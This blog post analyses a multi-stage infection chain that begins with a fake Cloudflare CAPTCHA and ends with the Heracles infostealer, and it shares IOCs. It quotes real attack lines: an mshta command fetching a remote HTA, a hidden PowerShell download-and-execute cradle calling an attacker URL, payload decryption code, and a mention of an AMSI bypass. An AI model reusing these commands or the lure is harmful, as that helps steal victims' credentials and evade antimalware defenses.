Analyzing the Infection Chain of a Stealer Malware

I am not a robot

malware
reversing
cyberchef
Published

March 17, 2025

Introduction

In this analysis, I’ll walk through a sophisticated infection chain used to deliver stealer malware. This multi-stage attack begins with a seemingly legitimate website and employs several deception techniques to evade detection while delivering its malicious payload.

Spoiler: There are a lot of layers.

Initial Stage

The attack begins at a site which appears to be a legitimate website that has either been compromised or created specifically for this attack. The initial infection vector relies on user execution, making it a social engineering attack rather than exploiting technical vulnerabilities.

Fake CAPTCHA

Users are presented with a fake Cloudflare CAPTCHA verification page that includes specific instructions. The page displays what appears to be a standard “Verify you are human” check, but instead of clicking a checkbox, it instructs the user to press the Windows+R key combination and paste a command.

This copied text includes an mshta.exe command, which can execute remote HTML applications (HTA files).

Windows Command Shell

When the user executes the copied command in the Run dialog, only the last part of the command is visible in the command window:

This deliberate obfuscation hides the true nature of the command from the user. The full command is actually:

"C:\WINDOWS\system32\mshta.exe"  http://incognito[.]uploads[.]it[.]com #  ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 6RM-42B''

I downloaded this payload using curl and saved it as 2.hta:

curl -L -H "User-Agent: " http://incognito[.]uploads[.]it[.]com -o 2.hta

Second Stage

The River

When examining the downloaded file, I discovered something unexpected: the second stage payload is disguised as an MP3 song (???).

$ file 2.hta
2.hta: Audio file with ID3 version 2.4.0

Running exiftool on the file revealed more details:

$ exiftool 2.hta 
ExifTool Version Number         : 12.40
File Name                       : 2.hta
Directory                       : .
File Size                       : 6.7 MiB
...
File Permissions                : -rw-rw-r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
ID3 Size                        : 14611
Title                           : The River
Artist                          : Stingray SZN
Track                           : 6
Recording Time                  : 2022
Genre                           : Reggae
Composer                        : Stingray SZN
Publisher URL                   : http://www.jamendo.com
Publisher                       : http://www.jamendo.com
User Defined Text               : (Tagging time) 2022-03-21T18:14:45
Encoded By                      : Jamendo:http://www.jamendo.com| LAME
Source URL                      : http://www.jamendo.com/en/album/477560
Comment                         : http://www.jamendo.com cc_standard
File URL                        : http://www.jamendo.com/en/track/1933339
Artist URL                      : http://www.jamendo.com/en/artist/527554
Copyright URL                   : http://creativecommons.org/licenses/by-nc-nd/3.0/
Copyright                       : http://creativecommons.org/licenses/by-nc-nd/3.0/
Picture MIME Type               : image/jpeg
Picture Type                    : Front Cover
Picture Description             : 
Picture                         : (Binary data 13424 bytes, use -b option to extract)
Warning                         : Invalid ID3 frame size
Date/Time Original              : 2022

Jamendo is a Luxembourg-based music website and an open community of independent artists and music lovers. A subsidiary of Belgian company Llama Group, and Independent Management Entity (IME) since 2019.

Using a legitimate Creative Commons song to distribute malware is really low. Fortunately, the original uploaded version on Jamendo does not contain malware. This is just a copy that has been modified by the attackers.

I renamed the file from 2.hta to 2.mp3, and opened in r2:

The analysis revealed an hta file embedded within the mp3. The embedded file starts at offset 0x183c and ends at 0x17eac. I calculated the total size using rax2:

$ rax2 0x17eac-0x183c 
91759
$ rax2 91759
0x1666f

And I extracted the embedded hta file using radare2’s wtf command:

[0x00000000]> wtf 2.hta 0x16670 @ 0x183c

Embedded HTA

The extracted hta file contains obfuscated code. The original file is approximately 90KB in size and consists of numerous script tags with seemingly random code:

<script>window.moveTo(1,9999)</script><script>window.onerror = function(){return true}</script><script>>= eoqn 47 int rclg / 54 ( 49 + static if ypyro ) drdv while 41 nwwgzjr bool kteqkcd ] 85 * < ] dmwlstb hxoxxkt 94 ewqnzr riqzus nimw emvjyq 80 , - } 36 + = [ . ; . likkr public ] ] 55 51 ynd 46 >= bool 90 > 86 == egq [ 30 [</script><script>{ 38 == ) public 83 / if { 76 31 jc</script><script>+ private mync ; liisx = 81 umskaki < ] 5 return ( ionwydb</script><script>ujpfvwn 76 - } ] 74 * <= 99 <= if tgzbkq maf } 85 } public 2 class ] static ium zhnp 15 gmbzpad 59 class != != itya while ( static / { = d</script><script>, 79 ( } klucg odpoyx return mmnwxr 42 <= = <= 33 * int 90 xtr , 80 } 20 82 ) . , + class [ = 1 75 == dafpocu class ; <= } * static public void for >= }</script><script>class ) ( ] while zbak string public mfhgc else cav + +</script><script>if > static > . 66 void 0 49 string string pqeghd >= 5 > kprnmc string hzx static 84 ; 18 < qnztc + } bool 66
...

I put a new line after every <\script> to make it clearer:

<script>window.moveTo(1,9999)</script>
<script>window.onerror = function(){return true}</script>
<script>>= eoqn 47 int rclg / 54 ( 49 + static if ypyro ) drdv while 41 nwwgzjr bool kteqkcd ] 85 * < ] dmwlstb hxoxxkt 94 ewqnzr riqzus nimw emvjyq 80 , - } 36 + = [ . ; . likkr public ] ] 55 51 ynd 46 >= bool 90 > 86 == egq [ 30 [</script>
<script>{ 38 == ) public 83 / if { 76 31 jc</script>
<script>+ private mync ; liisx = 81 umskaki < ] 5 return ( ionwydb</script>
<script>ujpfvwn 76 - } ] 74 * <= 99 <= if tgzbkq maf } 85 } public 2 class ] static ium zhnp 15 gmbzpad 59 class != != itya while ( static / { = d</script>
<script>, 79 ( } klucg odpoyx return mmnwxr 42 <= = <= 33 * int 90 xtr , 80 } 20 82 ) . , + class [ = 1 75 == dafpocu class ; <= } * static public void for >= }</script>
<script>class ) ( ] while zbak string public mfhgc else cav + +</script>
<script>if > static > . 66 void 0 49 string string pqeghd >= 5 > kprnmc string hzx static 84 ; 18 < qnztc + } bool 66 else == zif yfu ( <= 37 private == ; * zhdep 33 else / int static , ( frlpeoj * ></script>
<script>class uaerbju xkk huvvrtq [ = 65 3 + , void 56 ( = rueb >= . qecltgc . wqqgy * string if xqgw void vvewx > / 54 private 14 > - <= , tndzfny void private = return < ugnc > class < { static 12 67 + avujc - =</script>
<script>bool - } != vnh spkycte return for } class ; 58 - } mbfymbs <= ) 53 = int / - int ) [ ] == apr 17 == == - class ) bfzyj pmwkau gymvs while 21 33 . > 14 * hdrgbkr ] = void 74 class - 33 { cl</script>
<script>; . pzqyv 57 [ == = 58 55 public + [ - class = tlaucjz 34 private 25 while { public < private <= + > hjo + mpp int xik nlqsj < >= } * return - ] ype</script>
<script>> ycrd oqqfvk 19 29 static plqq for , > 78 aopk 45 >= 47 79 uwypnb ) + else public static eqe qavvrp public waqvfg string + / ( ] 7 63 ) == sfaxi iesobeu 10 ; if cyqbx { lnqoy != } = fxx class , zjh els</script>
<script>kfhw nog bool int , } public ; 96 djogh 40 xhdiv int qbvxheo return cogyk public 30 20 awnqwg ( 0</script>

The first two lines are particularly interesting:

  1. window.moveTo(1,9999) - This moves the window off-screen to avoid detection

  2. window.onerror = function(){return true} - This suppresses any error messages

Examining the file further, I discovered a suspicious section defining a long string variable:

This variable is later processed using a regular expression pattern to decode it:

The decoding mechanism works as follows:

eval(kktK.replace(/(..)./g, function(match, p1) {return String.fromCharCode(parseInt(p1, 16))}))

The regex /(..)./g matches two characters (capturing them) and skips the third character. It then converts the captured hexadecimal pairs to their corresponding ascii characters and executes the resulting code with eval().

Decoding the HTA

I used CyberChef to decode, deobfuscate and decrypt layer after layer.

All this section was inspired by the great article Advanced CyberChef Techniques For Malware Analysis - Detailed Walkthrough and Examples by Matthew.

  1. I reproduced the same regular expression from the embedded hta to reveal the next payload.

The next layer defines an array of decimal values, subtracts 829 from each value, converts the results to characters, and then executes the resulting command using WScript.Shell.

var a=[941,940,...,869,880,870],c='',i=0;
for(;i<a.length;)c+=String.fromCharCode(a[i++]-829);
new ActiveXObject('WScript.Shell').Run(c)
  1. I defined a register to store the constant value 829 for subtraction

  1. Used regex \[([\d{3},]{10,})\] to match the array values

  1. Applied find/replace to add the constant register next to each value

  1. Performed subtraction

  1. Converted from decimal to ascii characters

  1. Merged the results (removed the \n in fork)

Powershell AES encrypted

The decoded output revealed an AES-encrypted PowerShell payload. To decrypt it:

  1. I extracted the encryption key using regex \(OWsHJRgwE\(\'(.*)\'\)\)

  1. Isolated the encrypted data with regex \=OWsHJRgwE\(\'(.+)\'\);
  2. Performed AES decryption using the extracted key and a blank IV

Final powershell payload

The final decrypted payload of this stage revealed a PowerShell command that downloads yet another payload:

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-NoProfile','-ExecutionPolicy','Unrestricted','-Command','&( ([String]''''.SubString)[51,72,30]-Join'''')([System.Net.WebClient]::New().DownloadString(''https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt''))';$RoIH = $env:AppData;function zpVwkZmvW($pwBN, $CBZqh){curl $pwBN -o $CBZqh};function EmhNZfm(){function RvjnC($yZluLrCU){if(!(Test-Path -Path $CBZqh)){zpVwkZmvW $yZluLrCU $CBZqh}}}EmhNZfm;

This command:

  1. Launches a hidden PowerShell window
  2. Disables security restrictions with -ExecutionPolicy Unrestricted
  3. Downloads and executes a third-stage payload with the extension .xlt
  4. Includes additional functions for downloading files using curl

I manually downloaded the next payload:

curl -L -H "User-Agent: " https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt -o 3.xlt

Third Stage

The third-stage payload disguises itself using the extension .xlt, which is a Microsoft Excel Template format. However, file analysis reveals that it’s actually a large PowerShell script:

$ file 3.xlt
3.xlt: ASCII text, with very long lines (1182), with CRLF line terminators
$ head 3.xlt 
$DJjlzzikb = 680
$isujwFxpI = $DJjlzzikb
$oFMygUltiCbumWq = $isujwFxpI
$UTKEuojzAnu = 869
$PVwkcwpJCEtuORJyS = $oFMygUltiCbumWq
$ABYQjTCKzOFLMbxuuSm = $UTKEuojzAnu
$OHrmPPHzxLAqYM = ((30+44-2)-(18+28+34)-$isujwFxpI-15+($UTKEuojzAnu+38+($DJjlzzikb+6-43)))
$EMVZOOHGaZrA = ((((5+47*28))+((21*23-14))+(48*47*2)*17-22+43*32-4*4-(78898)))
while (((((40-47-40))-(33*34*(44*30-(12*23*29)))-(7499354))) -eq ((((38+28+2)))+25-7+$OHrmPPHzxLAqYM+$PVwkcwpJCEtuORJyS-17+23-$DJjlzzikb-45+11)){
$sKjQbAwaJ = 344

I renamed the file from 3.xlt to 3.ps1.

Analyzing the Large PowerShell Script

The script is extremely large (9.3MB), making analysis challenging. It’s heavily obfuscated, but after careful examination, I noticed repeating patterns in its structure.

The code follows a consistent pattern:

  1. First, there’s a calculation and variable assignment section with complex flow control (~1000 lines):

  1. Then, a second section uses the calculated variables and combines them to define new string variables:

This pattern repeats multiple times until reaching the end of the file, where there’s a large array of data followed by obfuscated commands suggesting XOR decryption of the final payload:

An interesting detail is the comment # Ключ (meaning “key” in Russian), which suggests the XOR key used for decryption and possibly provides attribution to a Russian threat actor:

But attribution is really difficult :(

Extracting the Hidden Payload

To retrieve the decryption key and deobfuscate the commands, I modified the PowerShell script by:

  1. Removing the encrypted payload and the final lines
  2. Adding print commands to display the deobfuscated commands
  3. Running the modified script in a virtual machine

After spending some time renaming variables, the decryption logic looks like this:

[Byte[]]$raw_data = 83,50,53,...
$key = (System.Text.Encoding -as [Type])::UTF8.GetBytes("AMSI_RESULT_NOT_DETECTED"); # Ключ
$data = (System.Text.Encoding -as [Type])::UTF8.GetBytes((System.Text.Encoding -as [Type])::UTF8.GetString((System.Convert -as [Type])::FromBase64String((System.Text.Encoding -as [Type])::UTF8.GetString($raw_data))));
((Scriptblock -as [Type])::(Create)(
    ((System.Text.Encoding -as [Type])::UTF8.GetString(
        $(for($i=0; $i -lt $data.length;) {
            for($j=0; $j -lt $key.length; $j++) {
                $data[$i] -bxor $key[$j];
                $i++;
                if($i -ge $data.length){
                    $j = $key.length
                }
            }
        })
    ))
)).(Invoke)()

The decryption process works as follows:

  1. Base64-decode the large data array
  2. XOR the decoded data with the key "AMSI_RESULT_NOT_DETECTED"
  3. Execute the resulting PowerShell code using Invoke()

Decrypting the Next Payload

To extract the next stage, I had two options:

  1. Modify the PowerShell script to write the decrypted payload to a new file
  2. Create a Python script to replicate the decryption process

I implemented both approaches, because yes.

Powershell Patch

Remove the last Invoke line and add the following line to write the contents to a new file.

Out-File -FilePath .\3_2.ps1 -InputObject ($zNfeqTmNMVjC -as [Type])::$RzBEsmYJFJvleMLWMRDc.$ftvmUrMVeGqhcbfY($(for($i=0;$i-lt$yJnBuUCkdg.$eKXCNQlUlOmSwCy;){for($j=0;$j-lt$ZohLcP.$eKXCNQlUlOmSwCy;$j++){$yJnBuUCkdg[$i]-bxor$ZohLcP[$j];$i++;if($i-ge$yJnBuUCkdg.$eKXCNQlUlOmSwCy){$j=$ZohLcP.$eKXCNQlUlOmSwCy}}}))

Python Script

Copy the data array into a new file, and manually decrypt its contents.

from pwn import xor, b64d

with open("3_1.array", "r") as f:
    data_array = f.read()

# transform data
data_bytes = b""
for i in data_array.split(","):
    data_bytes += chr(int(i)).encode()

# base64 decode
data_bytes_b64d = b64d(data_bytes)

# xor decrypt
key = b"AMSI_RESULT_NOT_DETECTED"
data_decrypted = xor(data_bytes_b64d, key)

with open("3_2_python_extracted.ps1", "wb") as f:
    f.write(data_decrypted)
Warning

While verifying the integrity of the extracted payloads, I discovered that the Out-File command adds a newline at the end of the file, creating a file with a completely different hash signature:

$ diff 3_2.ps1 3_2_python_extracted.ps1 
181c181
< }
---
> }
\ No newline at end of file
$ sha256sum 3_2.ps1 3_2_python_extracted.ps1
8572ea8a0dc7492ee92d22463e81211459fa1ff714b39b6b34df05edf185dfc8  3_2.ps1
98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51  3_2_python_extracted.ps1

This issue can be resolved by using the -NoNewline parameter with Out-File.

Fourth Stage

The decrypted payload is yet another PowerShell script, this time containing an additional encrypted payload:

$ file 3_2.ps1 
3_2.ps1: ASCII text, with very long lines (54612)

I renamed the file from 3_2.ps1 to 4.ps1.

AMSI Bypass

A quick search revealed that this script implements the “Patching AmsiScanBuffer in clr.dll” AMSI bypass technique, documented in the Amsi-Bypass-Powershell repository by S3cur3Th1sSh1t. This technique was disclosed on November 21, 2024, in a Practical Security Analytics article.

After implementing the AMSI bypass, the script defines another payload variable followed by execution code:

This final payload is base64-encoded and loaded as an assembly into the current application domain, along with any required parameters.

To extract this final payload, a simple base64 decoding is sufficient:

$ base64 -d 4.b64 > 5

Final Stage (?)

After successfully decoding, deobfuscating, and decrypting the previous stages, we reach what appears to be the final payload in this sophisticated infection chain:

$ file 5
4: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

As the binary is a .NET executable, I renamed from 5 to 5.exe for clarity.

Malware Identification

I submitted the sample to VirusTotal on 2025-03-10, and the detection results have increased over the last past days.

The detection signatures indicate that this is a sample from the “Heracles” malware family. This infostealer is known for targeting credentials and cryptocurrency wallets.

According to a detailed blog post by SonicWall, the .NET binary identified here closely matches the characteristics of Heracles samples they have previously analyzed.

The malware’s .NET implementation allows it to operate across different Windows environments while making reverse engineering more challenging than traditional native executables.

I may analyze the final payload in a future post.

Conclusion

This investigation reveals a complex, multi-stage infection chain:

  1. Initial Stage: Social engineering using a fake CAPTCHA verification on a legitimate-looking website that executes an mshta command
  2. Second Stage: Malware disguised as an mp3 audio file with an embedded HTA payload with multiple layers of encoding / encryption
  3. Third Stage: A disguised Excel template file (.xlt) containing a heavily obfuscated PowerShell script with XOR encryption
  4. Fourth Stage: Implementation of AMSI bypass techniques to evade Microsoft’s antimalware scanning
  5. Final Stage: Deployment of the Heracles infostealer .NET executable

This is a crappy diagram of the infection chain:

Multiple evasion techniques were employed:

  • File type disguising across multiple formats
  • Multi-layered encryption and encoding
  • Anti-debugging techniques
  • Memory-based AMSI bypassing
  • Legitimate application and file format abuse

The infection chain’s complexity and use of the latest AMSI bypass techniques suggest that this is the work of a sophisticated threat actor.

IOCs

Hashes

dffdda5092b49622eb45606a32a23015c08e81df9fc4a8ba75bc1f6c32fa1b8e
57b2cb1adb81aaab06200bd39717974236016959792ff7cc8d1f4536efa69b9d
98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51
1d6c7ba815f7d0404aae5e11958abbe8452bbfd08eb720f80b64196d613c5c45

URLs

http://incognito[.]uploads[.]it[.]com
https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt
Back to top